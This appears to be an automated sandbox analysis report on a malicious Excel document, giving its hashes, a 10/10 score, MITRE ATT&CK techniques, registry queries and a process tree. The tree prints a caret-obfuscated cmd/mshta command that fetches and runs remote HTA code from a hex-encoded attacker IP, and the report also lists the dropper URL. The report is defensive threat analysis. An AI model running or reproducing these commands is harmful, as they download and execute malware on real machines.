561f1541d1ce60dd8a10c61c54f99d83e67ed86b0f645a6e564a99baa08f56b3

General

Target

561f1541d1ce60dd8a10c61c54f99d83e67ed86b0f645a6e564a99baa08f56b3.xls
Size

70KB
MD5

74ef2589b372f105b31d69b352aec951
SHA1

2f12a5d662ee51bf73e7ddc2e04c7c018f367e36
SHA256

561f1541d1ce60dd8a10c61c54f99d83e67ed86b0f645a6e564a99baa08f56b3
SHA512

a5b2124f45034be6c2450a0623439fddf8251f431057ab004da9601f07f814ff6a5db6dbd74f09486ee5ed129a7c514effb999db0181161acaee856f529c7c4b

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe2.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3212	3376	cmd.exe	41

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	3480	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3376	EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3376	EXCEL.EXE
3376	EXCEL.EXE
3376	EXCEL.EXE
3376	EXCEL.EXE
3376	EXCEL.EXE
3376	EXCEL.EXE
3376	EXCEL.EXE
3376	EXCEL.EXE
3376	EXCEL.EXE
3376	EXCEL.EXE
3376	EXCEL.EXE
3376	EXCEL.EXE
3376	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3376 wrote to memory of 3212	3376	EXCEL.EXE	43
PID 3376 wrote to memory of 3212	3376	EXCEL.EXE	43
PID 3212 wrote to memory of 3480	3212	cmd.exe	45
PID 3212 wrote to memory of 3480	3212	cmd.exe	45

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\561f1541d1ce60dd8a10c61c54f99d83e67ed86b0f645a6e564a99baa08f56b3.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3376
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3212
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    PID:3480

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3376-114-0x00007FFCB0D60000-0x00007FFCB0D70000-memory.dmp

Filesize
64KB

Download
memory/3376-115-0x00007FFCB0D60000-0x00007FFCB0D70000-memory.dmp

Filesize
64KB

Download
memory/3376-116-0x00007FFCB0D60000-0x00007FFCB0D70000-memory.dmp

Filesize
64KB

Download
memory/3376-117-0x00007FFCB0D60000-0x00007FFCB0D70000-memory.dmp

Filesize
64KB

Download
memory/3376-126-0x00007FFCF0D75000-0x00007FFCF0D76000-memory.dmp

Filesize
4KB

Download
memory/3376-127-0x00007FFCEE2FB000-0x00007FFCEE2FC000-memory.dmp

Filesize
4KB

Download
memory/3376-284-0x00007FFCB0D60000-0x00007FFCB0D70000-memory.dmp

Filesize
64KB

Download
memory/3376-285-0x00007FFCB0D60000-0x00007FFCB0D70000-memory.dmp

Filesize
64KB

Download
memory/3376-286-0x00007FFCB0D60000-0x00007FFCB0D70000-memory.dmp

Filesize
64KB

Download
memory/3376-287-0x00007FFCB0D60000-0x00007FFCB0D70000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads